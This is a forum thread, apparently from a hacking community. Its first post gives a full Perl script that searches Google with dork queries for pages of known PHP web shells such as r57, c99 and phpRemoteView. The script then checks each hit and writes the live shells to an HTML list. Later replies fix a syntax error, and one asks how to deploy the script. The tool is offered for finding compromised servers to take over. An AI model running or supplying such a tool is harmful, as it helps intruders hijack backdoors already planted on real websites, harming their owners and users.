nosferatu Posted April 11, 2010 Report Posted April 11, 2010 #!/usr/bin/perluse strict;use warnings;use LWP::UserAgent;usage() unless $ARGV[2];my @searchTerm;my @checkTerm;if(lc($ARGV[0]) eq "r57") { push(@searchTerm, "inurl:r57.php"); push(@searchTerm, "\"[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]\""); push(@searchTerm, "intitle:r57shell"); push(@checkTerm, "r57"); push(@checkTerm, "safe_mode");} elsif(lc($ARGV[0]) eq "c99") { push(@searchTerm, "inurl:c99.php"); push(@searchTerm, "\"Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout\""); push(@searchTerm, "intitle:\" - phpshell\""); push(@searchTerm, "intitle:\" - c99shell\""); push(@checkTerm, "c99"); push(@checkTerm, "Safe-mode");} elsif(lc($ARGV[0]) eq "mys") { push(@searchTerm, "\"Auto error traping enabled\""); push(@searchTerm, "intitle:\"MyShell 1.1.0 build 20010923\""); push(@checkTerm, "MyShell"); push(@checkTerm, "Echo commands");} elsif(lc($ARGV[0]) eq "phs") { push(@searchTerm, "intitle:\"PHP Shell 1.5\""); push(@searchTerm, "intitle:\"PHP Shell 1.6\""); push(@searchTerm, "intitle:\"PHP Shell 1.7\""); push(@searchTerm, "\"Enable stderr-trapping?\""); push(@checkTerm, "PHP Shell"); push(@checkTerm, "Choose new working");} elsif(lc($ARGV[0]) eq "phm") { push(@searchTerm, "\"PHPShell by Macker\""); push(@searchTerm, "\"[ Main Menu ] [ PHPKonsole ] [ Haxplorer ]\""); push(@checkTerm, "Haxplorer"); push(@checkTerm, "PHPKonsole");} elsif(lc($ARGV[0]) eq "rem") { push(@searchTerm, "intitle:\"phpRemoteView: \""); push(@searchTerm, "\"REMVIEW TOOLS\""); push(@checkTerm, "phpRemoteView"); push(@checkTerm, "perms");}if(!@searchTerm) { print "Error: [shell to find] is a unknown shell\n" and die;}my $outputOn;if(lc($ARGV[1]) eq "on") { $outputOn = 1;} elsif(lc($ARGV[1]) eq "off") { $outputOn = 0;} else { print "Error: [screen output] must be \"on\" or \"off\"\n" and die;}my $outputFile;if(index(lc($ARGV[2]), ".htm") > 0) { $outputFile = $ARGV[2];} else { print "Error: [output HTML file] must be *.htm or *.html\n" and die;}open(FILEHANDLE, ">$outputFile");print FILEHANDLE "<html><head><title>PHP Shell's</title></head><body>\n";close FILEHANDLE;my $userAgent = LWP::UserAgent->new;$userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");my @resultLinks;foreach(@searchTerm) { print "[*] Query for \"$_\"\n" if($outputOn == 1); my $isLastPage = 0; for(my $gPage = 0; ; $gPage++) { if($isLastPage == 1) { last; } my $gRequest = HTTP::Request->new(GET => "http://www.google.de/search?q=$_&start=$gPage"."0"); my $gResource = $userAgent->request($gRequest); if($gResource->is_success) { my @gContent = split("<div class=g>", $gResource->content); if(@gContent < 10) { $isLastPage = 1; }; for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) { my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6); $shellLink = substr($shellLink, 0, index($shellLink, "\"")); print "[*] Check status of site \"$shellLink\"\n" if($outputOn == 1); my $sRequest = HTTP::Request->new(GET => $shellLink); my $sResource = $userAgent->request($sRequest); if($sResource->is_success) { if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) { open(FILEHANDLE, ">>$outputFile"); print FILEHANDLE "Link: <a href=\"$shellLink\">$shellLink</a><br>\n"; print FILEHANDLE "Search Term: <i>$_</i><br><br>\n"; close FILEHANDLE; print "[+] Found shell: $shellLink\n" if($outputOn == 1); } else { print "[-] No shell\n" if($outputOn == 1); } } else { print "[-] Offline\n" if($outputOn == 1); } } sleep 20; #wait 20 seconds so google dont think we are a bot } else { print "Unable to query google\n" and die; } }}open(FILEHANDLE, ">>$outputFile");print FILEHANDLE "<br><br><center><small><a href=\"http://www.vx-dia.de.vu\">Find PHP Shells via Google - by DiA/RRLF</a></small></center></body></html>";close FILEHANDLE;sub usage { print qq(Find PHP Shells via Google - by DiA/RRLF (http://www.vx-dia.de.vu)Usage: perl $0 [shell to find] [screen output] [output HTML file] [shell to find] can be: r57 - find r57shell c99 - find c99shell mys - find MyShell phs - find PHP Shell phm - find PHPShell (Macker) rem - find phpRemoteView [screen output] can be: on - every step the script doas get printed on the screen off - no output, the script just writes to the output file [output HTML file] must be: *.htm or *.htmlExample: perl $0 c99 on c99shells.htm perl $0 mys off manyshells.htm) and exit;}// http://www.bec0de.com Quote
makoo Posted December 8, 2010 Report Posted December 8, 2010 thank you sir..but when I use your perl script.. it prints:Bareword found where operator expected at d.pl line 155, near "// http" (Missing operator before http?)syntax error at d.pl line 155, near "// http"Execution of d.pl aborted due to compilation errors.can you help me please Quote
juice Posted December 15, 2010 Report Posted December 15, 2010 thank you sir..but when I use your perl script.. it prints:can you help me pleasedelete last line with // url Quote
wantedbt Posted December 21, 2010 Report Posted December 21, 2010 (edited) Salut. Isi consuma careva 5 min din timp sa posteze cum se face? Pun codu in*.txt? Dupa pe ftp? Si cum incerc paginile?http://hitbaytar.kayyo.com/*.txt ? Edited December 21, 2010 by wantedbt Quote